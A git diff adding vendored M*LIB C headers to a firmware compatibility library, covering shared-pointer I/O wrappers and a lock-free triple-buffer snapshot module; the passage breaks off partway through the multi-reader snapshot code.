+        M_ASSERT(out != NULL);                                                \
+        M_ASSERT(callback != NULL);                                           \
+        int ret = 0;                                                          \
+        M_F(name, _read_lock)(out);                                           \
+        M_ON_EXCEPTION( M_F(name, _read_unlock)(out) ) {                      \
+            M_GET_IT_TYPE oplist it;                                          \
+            for(M_CALL_IT_LAST(oplist, it, out->data); !M_CALL_IT_END_P(oplist, it); M_CALL_IT_PREVIOUS(oplist, it)) { \
+                ret = callback(data, M_CALL_IT_CREF(oplist, it));             \
+                if (ret)                                                      \
+                    break;                                                    \
+            }                                                                 \
+        }                                                                     \
+        M_F(name, _read_unlock)(out);                                         \
+        return ret;                                                           \
+    }                                                                         \
+, )                                                                           \
+
+
+/* Define the I/O based operators */
+#define M_SHAR3D_PTR_DECL_IO(name, shared_t, oplist)                          \
+M_IF_METHOD(OUT_STR, oplist)( extern void M_F(name, _out_str)(FILE *, const shared_t *); , ) \
+M_IF_METHOD(IN_STR, oplist)( extern bool M_F(name, _in_str)(shared_t *, FILE *); , ) \
+M_IF_METHOD(GET_STR, oplist)( extern void M_F(name, _get_str)(m_string_t, const shared_t *, bool); , ) \
+M_IF_METHOD(PARSE_STR, oplist)( extern bool M_F(name, _parse_str)(shared_t *, const char *, const char **); , ) \
+M_IF_METHOD(OUT_SERIAL, oplist)( extern m_serial_return_code_t M_F(M_P_EXPAND name, _out_serial)(m_serial_write_t, const shared_t *); , ) \
+M_IF_METHOD(IN_SERIAL, oplist)( extern m_serial_return_code_t M_F(M_P_EXPAND name, _in_serial)(shared_t *, m_serial_read_t); , ) \
+
+#define M_SHAR3D_PTR_DEF_IO(name, shared_t, type, oplist, fattr)              \
+M_IF_METHOD(OUT_STR, oplist)(                                                 \
+    fattr void M_F(name, _out_str)(FILE *file, const shared_t *out)           \
+    {                                                                         \
+        M_ASSERT (out != NULL && file != NULL);                               \
+        M_F(name, _read_lock)(out);                                           \
+        /* No exception */                                                    \
+        M_CALL_OUT_STR(oplist, file, out->data);                              \
+        M_F(name, _read_unlock)(out);                                         \
+    }                                                                         \
+, )                                                                           \
+M_IF_METHOD(IN_STR, oplist)(                                                  \
+    fattr bool M_F(name, _in_str)(shared_t *out, FILE *file)                  \
+    {                                                                         \
+        M_ASSERT (out != NULL && file != NULL);                               \
+        M_GLOBAL_CONTEXT();                                                   \
+        M_F(name, _write_lock)(out);                                          \
+        m_volatile bool r = false;                                            \
+        M_ON_EXCEPTION( M_F(name, _write_unlock)(out) )                       \
+            r = M_CALL_IN_STR(oplist, out->data, file);                       \
+        /* even if r is false, we signal the data (no functional impact)*/    \
+        M_F(name, _write_signal)(out);                                        \
+        M_F(name, _write_unlock)(out);                                        \
+        return r;                                                             \
+    }                                                                         \
+, )                                                                           \
+M_IF_METHOD(GET_STR, oplist)(                                                 \
+    fattr void M_F(name, _get_str)(m_string_t str, const shared_t *out, bool append) \
+    {                                                                         \
+        M_ASSERT (out != NULL);                                               \
+        M_GLOBAL_CONTEXT();                                                   \
+        M_F(name, _read_lock)(out);                                           \
+        M_ON_EXCEPTION( M_F(name, _read_unlock)(out) )                        \
+            M_CALL_GET_STR(oplist, str, out->data, append);                   \
+        M_F(name, _read_unlock)(out);                                         \
+    }                                                                         \
+, )                                                                           \
+M_IF_METHOD(PARSE_STR, oplist)(                                               \
+    fattr bool M_F(name, _parse_str)(shared_t *out, const char str[], const char **endp) \
+    {                                                                         \
+        M_ASSERT (out != NULL);                                               \
+        M_GLOBAL_CONTEXT();                                                   \
+        M_F(name, _write_lock)(out);                                          \
+        m_volatile bool r = false;                                            \
+        M_ON_EXCEPTION( M_F(name, _write_unlock)(out) )                       \
+            r = M_CALL_PARSE_STR(oplist, out->data, str, endp);               \
+        /* even if r is false, we signal the data (no functional impact)*/    \
+        M_F(name, _write_signal)(out);                                        \
+        M_F(name, _write_unlock)(out);                                        \
+        return r;                                                             \
+    }                                                                         \
+, )                                                                           \
+M_IF_METHOD(OUT_SERIAL, oplist)(                                              \
+    fattr m_serial_return_code_t M_F(name, _out_serial)(M_P_EXPAND m_serial_write_t serial, const shared_t *out) \
+    {                                                                         \
+        M_ASSERT (out != NULL);                                               \
+        M_F(name, _read_lock)(out);                                           \
+        m_volatile m_serial_return_code_t r = M_SERIAL_FAIL;                  \
+        M_ON_EXCEPTION( M_F(name, _read_unlock)(out) )                        \
+            r = M_CALL_OUT_SERIAL(oplist, serial, out->data);                 \
+        M_F(name, _read_unlock)(out);                                         \
+        return r;                                                             \
+    }                                                                         \
+, )                                                                           \
+M_IF_METHOD(IN_SERIAL, oplist)(                                               \
+    fattr m_serial_return_code_t M_F(name, _in_serial)(shared_t *out, m_serial_read_t serial) \
+    {                                                                         \
+        M_ASSERT (out != NULL);                                               \
+        M_GLOBAL_CONTEXT();                                                   \
+        M_F(name, _write_lock)(out);                                          \
+        m_volatile m_serial_return_code_t r = M_SERIAL_FAIL;                  \
+        M_ON_EXCEPTION( M_F(name, _write_unlock)(out) )                       \
+            r = M_CALL_IN_SERIAL(oplist, out->data, serial);                  \
+        /* even if r is false, we signal the data (no functional impact)*/    \
+        M_F(name, _write_signal)(out);                                        \
+        M_F(name, _write_unlock)(out);                                        \
+        return r;                                                             \
+    }                                                                         \
+, )                                                                           \
+
+
+#if M_USE_SMALL_NAME
+
+#define SHARED_WEAK_PTR_DECL M_SHARED_WEAK_PTR_DECL
+#define SHARED_WEAK_PTR_DECL_AS M_SHARED_WEAK_PTR_DECL_AS
+#define SHARED_PTR_DECL M_SHARED_PTR_DECL
+#define SHARED_PTR_DECL_AS M_SHARED_PTR_DECL_AS
+#define SHARED_WEAK_PTR_DEF_EXTERN M_SHARED_WEAK_PTR_DEF_EXTERN
+#define SHARED_WEAK_PTR_DEF_EXTERN_AS M_SHARED_WEAK_PTR_DEF_EXTERN_AS
+#define SHARED_PTR_DEF_EXTERN M_SHARED_PTR_DEF_EXTERN
+#define SHARED_PTR_DEF_EXTERN_AS M_SHARED_PTR_DEF_EXTERN_AS
+#define SHARED_WEAK_PTR_DEF M_SHARED_WEAK_PTR_DEF
+#define SHARED_WEAK_PTR_DEF_AS M_SHARED_WEAK_PTR_DEF_AS
+#define SHARED_PTR_DEF M_SHARED_PTR_DEF
+#define SHARED_PTR_DEF_AS M_SHARED_PTR_DEF_AS
+#define SHARED_PTR_OPLIST M_SHARED_PTR_OPLIST
+#define SHARED_DATA_OPLIST M_SHARED_DATA_OPLIST
+#endif
+
+#endif
diff --git a/lib/subghz_unleashed_compat/include/mlib/m-snapshot.h b/lib/subghz_unleashed_compat/include/mlib/m-snapshot.h
new file mode 100644
index 000000000..c6e87494e
--- /dev/null
+++ b/lib/subghz_unleashed_compat/include/mlib/m-snapshot.h
@@ -0,0 +1,806 @@
+/*
+ * M*LIB - SNAPSHOT Module
+ *
+ * Copyright (c) 2017-2026, Patrick Pelissier
+ * All rights reserved.
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ * + Redistributions of source code must retain the above copyright
+ *   notice, this list of conditions and the following disclaimer.
+ * + Redistributions in binary form must reproduce the above copyright
+ *   notice, this list of conditions and the following disclaimer in the
+ *   documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE REGENTS AND CONTRIBUTORS BE LIABLE FOR ANY
+ * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+*/
+#ifndef MSTARLIB_SNAPSHOT_H
+#define MSTARLIB_SNAPSHOT_H
+
+#include "m-atomic.h"
+#include "m-core.h"
+#include "m-genint.h"
+
+M_BEGIN_PROTECTED_CODE
+
+/* Define a Single Producer Single Consumer snapshot and its functions
+   USAGE: SNAPSHOT_SPSC_DEF(name, type[, oplist]) */
+#define M_SNAPSHOT_SPSC_DEF(name, ...)                                        \
+  M_SNAPSHOT_SPSC_DEF_AS(name, M_F(name,_t), __VA_ARGS__)
+
+
+/* Define a Single Producer Single Consumer snapshot and its functions
+   as the given name name_t
+   USAGE: SNAPSHOT_SPSC_DEF_AS(name, name_t, type[, oplist]) */
+#define M_SNAPSHOT_SPSC_DEF_AS(name, name_t, ...)                             \
+  M_BEGIN_PROTECTED_CODE                                                      \
+  M_SNAPSH0T_SPSC_DEF_P1(M_IF_NARGS_EQ1(__VA_ARGS__)                          \
+                        ((name, __VA_ARGS__, M_GLOBAL_OPLIST_OR_DEF(__VA_ARGS__)(), name_t ), \
+                         (name, __VA_ARGS__                                       , name_t ))) \
+  M_END_PROTECTED_CODE
+
+
+/* Define a Single Producer Multiple Consumer snapshot and its functions
+   USAGE: SNAPSHOT_SPMC_DEF(name, type[, oplist]) */
+#define M_SNAPSHOT_SPMC_DEF(name, ...)                                        \
+  M_SNAPSHOT_SPMC_DEF_AS(name, M_F(name,_t), __VA_ARGS__)
+
+
+/* Define a Single Producer Multiple Consumer snapshot and its functions
+   as the given name name_t
+   USAGE: SNAPSHOT_SPMC_DEF_AS(name, type[, oplist]) */
+#define M_SNAPSHOT_SPMC_DEF_AS(name, name_t, ...)                             \
+  M_BEGIN_PROTECTED_CODE                                                      \
+  M_SNAPSH0T_SPMC_DEF_P1(M_IF_NARGS_EQ1(__VA_ARGS__)                          \
+                        ((name, __VA_ARGS__, M_GLOBAL_OPLIST_OR_DEF(__VA_ARGS__)(), name_t ), \
+                         (name, __VA_ARGS__                                       , name_t ))) \
+  M_END_PROTECTED_CODE
+
+
+/* Define a Multiple Producer Multiple Consumer snapshot and its functions
+   USAGE: SNAPSHOT_MPMC_DEF(name, type[, oplist]) */
+#define M_SNAPSHOT_MPMC_DEF(name, ...)                                        \
+  M_SNAPSHOT_MPMC_DEF_AS(name, M_F(name,_t), __VA_ARGS__)
+
+
+/* Define a Multiple Producer Multiple Consumer snapshot and its functions
+   as the given name name_t
+   USAGE: SNAPSHOT_MPMC_DEF_AS(name, name_t, type[, oplist]) */
+#define M_SNAPSHOT_MPMC_DEF_AS(name, name_t, ...)                             \
+  M_BEGIN_PROTECTED_CODE                                                      \
+  M_SNAPSH0T_MPMC_DEF_P1(M_IF_NARGS_EQ1(__VA_ARGS__)                          \
+                        ((name, __VA_ARGS__, M_GLOBAL_OPLIST_OR_DEF(__VA_ARGS__)(), name_t ), \
+                         (name, __VA_ARGS__                                       , name_t ))) \
+  M_END_PROTECTED_CODE
+
+
+/* Define the oplist of a snapshot (SPSC, SPMC or MPMC).
+   USAGE: SNAPSHOT_OPLIST(name[, oplist]) */
+#define M_SNAPSHOT_OPLIST(...)                                                \
+  M_SNAPSH0T_OPLIST_P1(M_IF_NARGS_EQ1(__VA_ARGS__)                            \
+                      ((__VA_ARGS__, M_GLOBAL_OPLIST_OR_DEF(__VA_ARGS__)() ), \
+                       (__VA_ARGS__ )))
+
+
+/*****************************************************************************/
+/********************************** INTERNAL *********************************/
+/*****************************************************************************/
+
+// deferred evaluation of the input
+#define M_SNAPSH0T_OPLIST_P1(arg) M_SNAPSH0T_OPLIST_P2 arg
+
+/* Validation of the given oplist */
+#define M_SNAPSH0T_OPLIST_P2(name, oplist)                                    \
+  M_IF_OPLIST(oplist)(M_SNAPSH0T_OPLIST_P3, M_SNAPSH0T_OPLIST_FAILURE)(name, oplist)
+
+/* Prepare a clean compilation failure */
+#define M_SNAPSH0T_OPLIST_FAILURE(name, oplist)                               \
+  ((M_LIB_ERROR(ARGUMENT_OF_SNAPSHOT_OPLIST_IS_NOT_AN_OPLIST, name, oplist)))
+
+/* Define the oplist of a snapshot */
+#define M_SNAPSH0T_OPLIST_P3(name, oplist)                                    \
+  (INIT(M_F(name, _init))                                                     \
+   ,INIT_SET(M_F(name, _init_set))                                            \
+   ,SET(M_F(name, _set))                                                      \
+   ,CLEAR(M_F(name, _clear))                                                  \
+   ,NAME(name)                                                                \
+   ,TYPE(M_F(name, _ct)) , GENTYPE(struct M_F(name,_s)*)                      \
+   ,SUBTYPE(M_F(name, _subtype_ct))                                           \
+   ,OPLIST(oplist)                                                            \
+   ,M_IF_METHOD(INIT_MOVE, oplist)(INIT_MOVE(M_F(name, _init_move)),)         \
+   ,M_IF_METHOD(MOVE, oplist)(MOVE(M_F(name, _move)),)                        \
+   )
+
+
+/********************************** INTERNAL *********************************/
+
+/* Flag defining the atomic state of a snapshot:
+ * - r: Index of the read buffer Range [0..2]
+ * - w: Index of the write buffer  Range [0..2]
+ * - f: Next index of the write buffer when a shot is taken Range [0..2]
+ * - b: Boolean indicating that the read buffer shall be updated
+ * all fields packed in an unsigned char type.
+ */
+#define M_SNAPSH0T_SPSC_FLAG(r, w, f, b)                                      \
+  ((unsigned char)( ( (r) << 4) | ((w) << 2) | ((f)) | ((b) << 6)))
+#define M_SNAPSH0T_SPSC_R(flags)                                              \
+  (((unsigned int) (flags) >> 4) & 0x03u)
+#define M_SNAPSH0T_SPSC_W(flags)                                              \
+  (((unsigned int) (flags) >> 2) & 0x03u)
+#define M_SNAPSH0T_SPSC_F(flags)                                              \
+  (((unsigned int) (flags) >> 0) & 0x03u)
+#define M_SNAPSH0T_SPSC_B(flags)                                              \
+  (((unsigned int) (flags) >> 6) & 0x01u)
+
+/* NOTE: Due to atomic_load only accepting non-const pointer,
+   we can't have any const in the interface. */
+#define M_SNAPSH0T_SPSC_FLAGS_CONTRACT(flags)                                 \
+  M_ASSERT(M_SNAPSH0T_SPSC_R(flags) != M_SNAPSH0T_SPSC_W(flags)               \
+         && M_SNAPSH0T_SPSC_R(flags) != M_SNAPSH0T_SPSC_F(flags)              \
+         && M_SNAPSH0T_SPSC_W(flags) != M_SNAPSH0T_SPSC_F(flags))
+
+#define M_SNAPSH0T_SPSC_CONTRACT(snap)        do {                            \
+    M_ASSERT((snap) != NULL);                                                 \
+    unsigned char f = atomic_load (&(snap)->flags);                           \
+    (void) f;                                                                 \
+    M_SNAPSH0T_SPSC_FLAGS_CONTRACT(f);                                        \
+  } while (0)
+
+// A snapshot is basically an atomic triple buffer (Lock Free)
+// between a single producer thread and a single Consumer thread.
+#define M_SNAPSH0T_SPSC_MAX_BUFFER             3
+
+// Deferred evaluation of the arguments.
+#define M_SNAPSH0T_SPSC_DEF_P1(arg)        M_ID( M_SNAPSH0T_SPSC_DEF_P2 arg )
+
+/* Validate the oplist before going further */
+#define M_SNAPSH0T_SPSC_DEF_P2(name, type, oplist, snapshot_t)                \
+  M_IF_OPLIST(oplist)(M_SNAPSH0T_SPSC_DEF_P3, M_SNAPSH0T_SPSC_DEF_FAILURE)(name, type, oplist, snapshot_t)
+
+/* Stop processing with a compilation failure */
+#define M_SNAPSH0T_SPSC_DEF_FAILURE(name, type, oplist, snapshot_t)           \
+  M_STATIC_FAILURE(M_LIB_NOT_AN_OPLIST, "(SNAPSHOT_SPSC_DEF): the given argument is not a valid oplist: " #oplist)
+
+/* Expand the type and the functions of a SPSC snapshot */
+#define M_SNAPSH0T_SPSC_DEF_P3(name, type, oplist, snapshot_t)                \
+  M_SNAPSH0T_SPSC_DEF_TYPE(name, type, oplist, snapshot_t)                    \
+  M_CHECK_COMPATIBLE_OPLIST(name, 1, type, oplist)                            \
+  M_SNAPSH0T_SPSC_DEF_CORE(name, type, oplist, snapshot_t)                    \
+
+/* Define the type */
+#define M_SNAPSH0T_SPSC_DEF_TYPE(name, type, oplist, snapshot_t)              \
+                                                                              \
+  /* Create an aligned type to avoid false sharing between threads */         \
+  typedef struct M_F(name, _aligned_type_s) {                                 \
+    type         x;                                                           \
+    M_CACHELINE_ALIGN(align, type);                                           \
+  } M_F(name, _aligned_type_ct);                                              \
+                                                                              \
+  typedef struct M_F(name, _s) {                                              \
+    M_F(name, _aligned_type_ct)  data[M_SNAPSH0T_SPSC_MAX_BUFFER];            \
+    atomic_uchar flags;                                                       \
+  } snapshot_t[1];                                                            \
+  typedef struct M_F(name, _s) *M_F(name, _ptr);                              \
+  typedef const struct M_F(name, _s) *M_F(name, _srcptr);                     \
+                                                                              \
+  /* Define internal types for oplist */                                      \
+  typedef snapshot_t M_F(name, _ct);                                          \
+  typedef type          M_F(name, _subtype_ct);                               \
+
+/* Define the core functions */
+#define M_SNAPSH0T_SPSC_DEF_CORE(name, type, oplist, snapshot_t)              \
+                                                                              \
+  M_P(void, name, _init, snapshot_t snap)                                     \
+  {                                                                           \
+    M_ASSERT(snap != NULL);                                                   \
+    M_UNUSED_CONTEXT();                                                       \
+    for(int i = 0; i < M_SNAPSH0T_SPSC_MAX_BUFFER; i++) {                     \
+      M_CALL_INIT(oplist, snap->data[i].x);                                   \
+    }                                                                         \
+    atomic_init (&snap->flags, M_SNAPSH0T_SPSC_FLAG(0, 1, 2, 0));             \
+    M_SNAPSH0T_SPSC_CONTRACT(snap);                                           \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _clear, snapshot_t snap)                                    \
+  {                                                                           \
+    M_SNAPSH0T_SPSC_CONTRACT(snap);                                           \
+    M_UNUSED_CONTEXT();                                                       \
+    for(int i = 0; i < M_SNAPSH0T_SPSC_MAX_BUFFER; i++) {                     \
+      M_CALL_CLEAR(oplist, snap->data[i].x);                                  \
+    }                                                                         \
+  }                                                                           \
+                                                                              \
+  /* const is missing for org due to use of atomic_load of org */             \
+  M_P(void, name, _init_set, snapshot_t snap, snapshot_t org)                 \
+  {                                                                           \
+    M_SNAPSH0T_SPSC_CONTRACT(org);                                            \
+    M_UNUSED_CONTEXT();                                                       \
+    M_ASSERT(snap != NULL && snap != org);                                    \
+    for(int i = 0; i < M_SNAPSH0T_SPSC_MAX_BUFFER; i++) {                     \
+      M_CALL_INIT_SET(oplist, snap->data[i].x, org->data[i].x);               \
+    }                                                                         \
+    atomic_init (&snap->flags, atomic_load(&org->flags));                     \
+    M_SNAPSH0T_SPSC_CONTRACT(snap);                                           \
+  }                                                                           \
+                                                                              \
+  /* const is missing for org due to use of atomic_load of org */             \
+  M_P(void, name, _set, snapshot_t snap, snapshot_t org)                      \
+  {                                                                           \
+    M_SNAPSH0T_SPSC_CONTRACT(snap);                                           \
+    M_SNAPSH0T_SPSC_CONTRACT(org);                                            \
+    M_UNUSED_CONTEXT();                                                       \
+    for(int i = 0; i < M_SNAPSH0T_SPSC_MAX_BUFFER; i++) {                     \
+      M_CALL_SET(oplist, snap->data[i].x, org->data[i].x);                    \
+    }                                                                         \
+    atomic_init (&snap->flags, atomic_load(&org->flags));                     \
+    M_SNAPSH0T_SPSC_CONTRACT(snap);                                           \
+  }                                                                           \
+                                                                              \
+  M_IF_METHOD(INIT_MOVE, oplist)(                                             \
+    M_INLINE void                                                             \
+    M_F(name, _init_move)(snapshot_t snap, snapshot_t org)                    \
+    {                                                                         \
+      M_SNAPSH0T_SPSC_CONTRACT(org);                                          \
+      M_ASSERT(snap != NULL && snap != org);                                  \
+      for(int i = 0; i < M_SNAPSH0T_SPSC_MAX_BUFFER; i++) {                   \
+        M_CALL_INIT_MOVE(oplist, snap->data[i].x, org->data[i].x);            \
+      }                                                                       \
+      atomic_store (&snap->flags, atomic_load(&org->flags));                  \
+      atomic_store (&org->flags, M_SNAPSH0T_SPSC_FLAG(0,0,0,0) );             \
+      M_SNAPSH0T_SPSC_CONTRACT(snap);                                         \
+    }                                                                         \
+  ,) /* IF_METHOD (INIT_MOVE) */                                              \
+                                                                              \
+  M_IF_METHOD(MOVE, oplist)(                                                  \
+    M_P(void, name, _move, snapshot_t snap, snapshot_t org)                   \
+    {                                                                         \
+      M_SNAPSH0T_SPSC_CONTRACT(snap);                                         \
+      M_SNAPSH0T_SPSC_CONTRACT(org);                                          \
+      M_UNUSED_CONTEXT();                                                     \
+      M_ASSERT(snap != org);                                                  \
+      for(int i = 0; i < M_SNAPSH0T_SPSC_MAX_BUFFER; i++) {                   \
+        M_CALL_MOVE(oplist, snap->data[i].x, org->data[i].x);                 \
+      }                                                                       \
+      atomic_store (&snap->flags, atomic_load(&org->flags));                  \
+      atomic_store (&org->flags, M_SNAPSH0T_SPSC_FLAG(0,0,0,0) );             \
+      M_SNAPSH0T_SPSC_CONTRACT(snap);                                         \
+    }                                                                         \
+  ,) /* IF_METHOD (MOVE) */                                                   \
+                                                                              \
+  M_INLINE type *                                                             \
+  M_F(name, _write)(snapshot_t snap)                                          \
+  {                                                                           \
+    M_SNAPSH0T_SPSC_CONTRACT(snap);                                           \
+    unsigned char nextFlags, origFlags = atomic_load (&snap->flags);          \
+    /* Atomic CAS operation */                                                \
+    do {                                                                      \
+      /* Swap F and W buffer, setting exchange flag */                        \
+      nextFlags = M_SNAPSH0T_SPSC_FLAG(M_SNAPSH0T_SPSC_R(origFlags),          \
+                                      M_SNAPSH0T_SPSC_F(origFlags),           \
+                                      M_SNAPSH0T_SPSC_W(origFlags), 1);       \
+      /* exponential backoff is not needed as there can't be more             \
+         than 2 threads which try to update the data. */                      \
+    } while (!atomic_compare_exchange_weak (&snap->flags, &origFlags,         \
+                                            nextFlags));                      \
+    /* Return new write buffer for new updating */                            \
+    return &snap->data[M_SNAPSH0T_SPSC_W(nextFlags)].x;                       \
+  }                                                                           \
+                                                                              \
+  M_INLINE type const *                                                       \
+  M_F(name, _read)(snapshot_t snap)                                           \
+  {                                                                           \
+    M_SNAPSH0T_SPSC_CONTRACT(snap);                                           \
+    unsigned char nextFlags, origFlags = atomic_load (&snap->flags);          \
+    /* Atomic CAS operation */                                                \
+    do {                                                                      \
+      /* If no exchange registered, do nothing and keep the same */           \
+      if (!M_SNAPSH0T_SPSC_B(origFlags)) {                                    \
+        nextFlags = origFlags;                                                \
+        break;                                                                \
+      }                                                                       \
+      /* Swap R and F buffer, clearing exchange flag */                       \
+      nextFlags = M_SNAPSH0T_SPSC_FLAG(M_SNAPSH0T_SPSC_F(origFlags),          \
+                                      M_SNAPSH0T_SPSC_W(origFlags),           \
+                                      M_SNAPSH0T_SPSC_R(origFlags), 0);       \
+      /* exponential backoff is not needed as there can't be more             \
+         than 2 threads which try to update the data. */                      \
+    } while (!atomic_compare_exchange_weak (&snap->flags, &origFlags,         \
+                                            nextFlags));                      \
+    /* Return current read buffer */                                          \
+    return M_CONST_CAST(type, &snap->data[M_SNAPSH0T_SPSC_R(nextFlags)].x);   \
+  }                                                                           \
+                                                                              \
+  /* Non const due to use of atomic_load */                                   \
+  M_INLINE bool                                                               \
+  M_F(name, _updated_p)(snapshot_t snap)                                      \
+  {                                                                           \
+    M_SNAPSH0T_SPSC_CONTRACT(snap);                                           \
+    unsigned char flags = atomic_load (&snap->flags);                         \
+    return M_SNAPSH0T_SPSC_B(flags);                                          \
+  }                                                                           \
+                                                                              \
+  /* Non const due to use of atomic_load */                                   \
+  M_INLINE type *                                                             \
+  M_F(name, _get_write_buffer)(snapshot_t snap)                               \
+  {                                                                           \
+    M_SNAPSH0T_SPSC_CONTRACT(snap);                                           \
+    unsigned char flags = atomic_load(&snap->flags);                          \
+    return &snap->data[M_SNAPSH0T_SPSC_W(flags)].x;                           \
+  }                                                                           \
+                                                                              \
+  /* Non const due to use of atomic_load */                                   \
+  M_INLINE type const *                                                       \
+  M_F(name, _get_read_buffer)(snapshot_t snap)                                \
+  {                                                                           \
+    M_SNAPSH0T_SPSC_CONTRACT(snap);                                           \
+    unsigned char flags = atomic_load(&snap->flags);                          \
+    return  M_CONST_CAST(type, &snap->data[M_SNAPSH0T_SPSC_R(flags)].x);      \
+  }                                                                           \
+  
+
+/********************************** INTERNAL *********************************/
+
+#define M_SNAPSH0T_SPMC_INT_FLAG(w, n) ( ((w) << 1) | (n) )
+#define M_SNAPSH0T_SPMC_INT_FLAG_W(f)  ((f) >> 1)
+#define M_SNAPSH0T_SPMC_INT_FLAG_N(f)  ((f) & 1)
+
+// 2 more buffer than the number of readers are needed
+#define M_SNAPSH0T_SPMC_EXTRA_BUFFER 2
+
+#define M_SNAPSH0T_SPMC_MAX_READER (M_GENINT_MAX_ALLOC-M_SNAPSH0T_SPMC_EXTRA_BUFFER)
+
+/* Internal structure to handle SPMC snapshot but return an unique index in the buffer array.
+   - lastNext: last published written index + next flag (format M_SNAPSH0T_SPMC_INT_FLAG)
+   - currentWrite: the index being currently written.
+   - n_reader : number of readers 
+   - cptTab: ref counter array to keep track of how many readers use the corresponding buffer.
+   - freeList: a pool of free integers.
+*/
+typedef struct m_snapsh0t_mrsw_s {
+  atomic_uint  lastNext;
+  unsigned int currentWrite;
+  size_t       n_reader;
+  atomic_uint *cptTab;
+  m_genint_t     freeList;
+} m_snapsh0t_mrsw_ct[1];
+
+// can't check currentWrite due to potential data race on it
+#define M_SNAPSH0T_SPMC_INT_CONTRACT(s) do {                                  \
+    M_ASSERT (s != NULL);                                                     \
+    M_ASSERT (s->n_reader > 0 && s->n_reader <= M_SNAPSH0T_SPMC_MAX_READER);  \
+    M_ASSERT ((size_t)M_SNAPSH0T_SPMC_INT_FLAG_W(atomic_load(&s->lastNext))   \
+            <= s->n_reader + M_SNAPSH0T_SPMC_EXTRA_BUFFER);                   \
+    M_ASSERT (s->cptTab != NULL);                                             \
+  } while (0)
+
+/* Initialize m_snapsh0t_mrsw_ct for n readers (constructor) */
+M_P(void, m_snapsh0t, _mrsw_init, m_snapsh0t_mrsw_ct s, size_t n)
+{
+  M_ASSERT (s != NULL);
+  M_ASSERT (n >= 1 && n <= M_SNAPSH0T_SPMC_MAX_READER);
+  s->n_reader = n;
+  n += M_SNAPSH0T_SPMC_EXTRA_BUFFER;
+
+  // Initialize the counters to zero (no reader use it)
+  atomic_uint *ptr = M_MEMORY_REALLOC (m_context, atomic_uint, NULL, 0, n);
+  if (M_UNLIKELY_NOMEM (ptr == NULL)) {
+    M_MEMORY_FULL(atomic_uint, n);
+  }
+  s->cptTab = ptr;
+  for(size_t i = 0; i < n; i++)
+    atomic_init(&s->cptTab[i], 0U);
+  m_genint_init M_R(s->freeList, (unsigned int) n);
+
+  // Get a free buffer and set it as available for readers
+  unsigned int w = m_genint_pop(s->freeList);
+  M_ASSERT (w != M_GENINT_ERROR);
+  atomic_store(&s->cptTab[w], 1U);
+  atomic_init(&s->lastNext, M_SNAPSH0T_SPMC_INT_FLAG(w, true));
+
+  // Get working buffer
+  s->currentWrite = m_genint_pop(s->freeList);
+  M_ASSERT (s->currentWrite != M_GENINT_ERROR);
+  atomic_store(&s->cptTab[s->currentWrite], 1U);
+  M_SNAPSH0T_SPMC_INT_CONTRACT(s);
+}
+
+/* Clear m_snapsh0t_mrsw_ct (destructor) */
+M_P(void, m_snapsh0t, _mrsw_clear, m_snapsh0t_mrsw_ct s)
+{
+  M_SNAPSH0T_SPMC_INT_CONTRACT(s);
+  M_MEMORY_FREE (m_context, atomic_uint, s->cptTab, s->n_reader+M_SNAPSH0T_SPMC_EXTRA_BUFFER);
+  m_genint_clear M_R(s->freeList);
+  s->cptTab = NULL;
+  s->n_reader = 0;
+}
+
+/* Return the current index that is written in the buffer */
+M_INLINE unsigned int
+m_snapsh0t_mrsw_get_write_idx(m_snapsh0t_mrsw_ct s)
+{
+  M_SNAPSH0T_SPMC_INT_CONTRACT(s);
+  return s->currentWrite;
+}
+
+/* Return the number of readers */
+M_INLINE unsigned int
+m_snapsh0t_mrsw_size(m_snapsh0t_mrsw_ct s)
+{
+  M_SNAPSH0T_SPMC_INT_CONTRACT(s);
+  return (unsigned int) s->n_reader;
+}
+
+/* Give the current index that is written to the readers,
+   and return new available index for the writer thread */
+M_INLINE unsigned int
+m_snapsh0t_mrsw_write_idx(m_snapsh0t_mrsw_ct s, unsigned int idx)
+{
+  M_SNAPSH0T_SPMC_INT_CONTRACT(s);
+
+  // Provide the finalized written buffer to the readers.
+  unsigned int newNext, previous = atomic_load(&s->lastNext);
+  do {
+    newNext = M_SNAPSH0T_SPMC_INT_FLAG(idx, true);
+  } while (!atomic_compare_exchange_weak(&s->lastNext, &previous, newNext));
+
+  if (M_SNAPSH0T_SPMC_INT_FLAG_N(previous)) {
+    // Reuse previous buffer as it was not used by any reader
+    idx = M_SNAPSH0T_SPMC_INT_FLAG_W(previous);
+    // Some other read threads may already have try to reserve this index
+    // So atomic_load(&s->cptTab[idx]) can be greater than 1.
+    // However they will fail to ack it in lastNext,
+    // so they will remove their reservation later
+  } else {
+    // Remove the writer thread counter from the count of the previous buffer
+    idx = M_SNAPSH0T_SPMC_INT_FLAG_W(previous);
+    unsigned int c = atomic_fetch_sub(&s->cptTab[idx], 1U);
+    M_ASSERT (c != 0 && c <= s->n_reader + 1);
+    // Get a new buffer.
+    if (c != 1) {
+      // If someone else keeps a ref on the buffer, we can't reuse it
+      // get another free one.
+      idx = m_genint_pop(s->freeList);
+      M_ASSERT(idx != M_GENINT_ERROR);
+    } else {
+      // No other thread keep track of this buffer.
+      // Reuse it.
+    }
+    M_ASSERT (idx < s->n_reader + M_SNAPSH0T_SPMC_EXTRA_BUFFER);
+    M_ASSERT (atomic_load(&s->cptTab[idx]) == 0);
+    atomic_store(&s->cptTab[idx], 1U);
+  }
+  M_SNAPSH0T_SPMC_INT_CONTRACT(s);
+  return idx;
+}
+
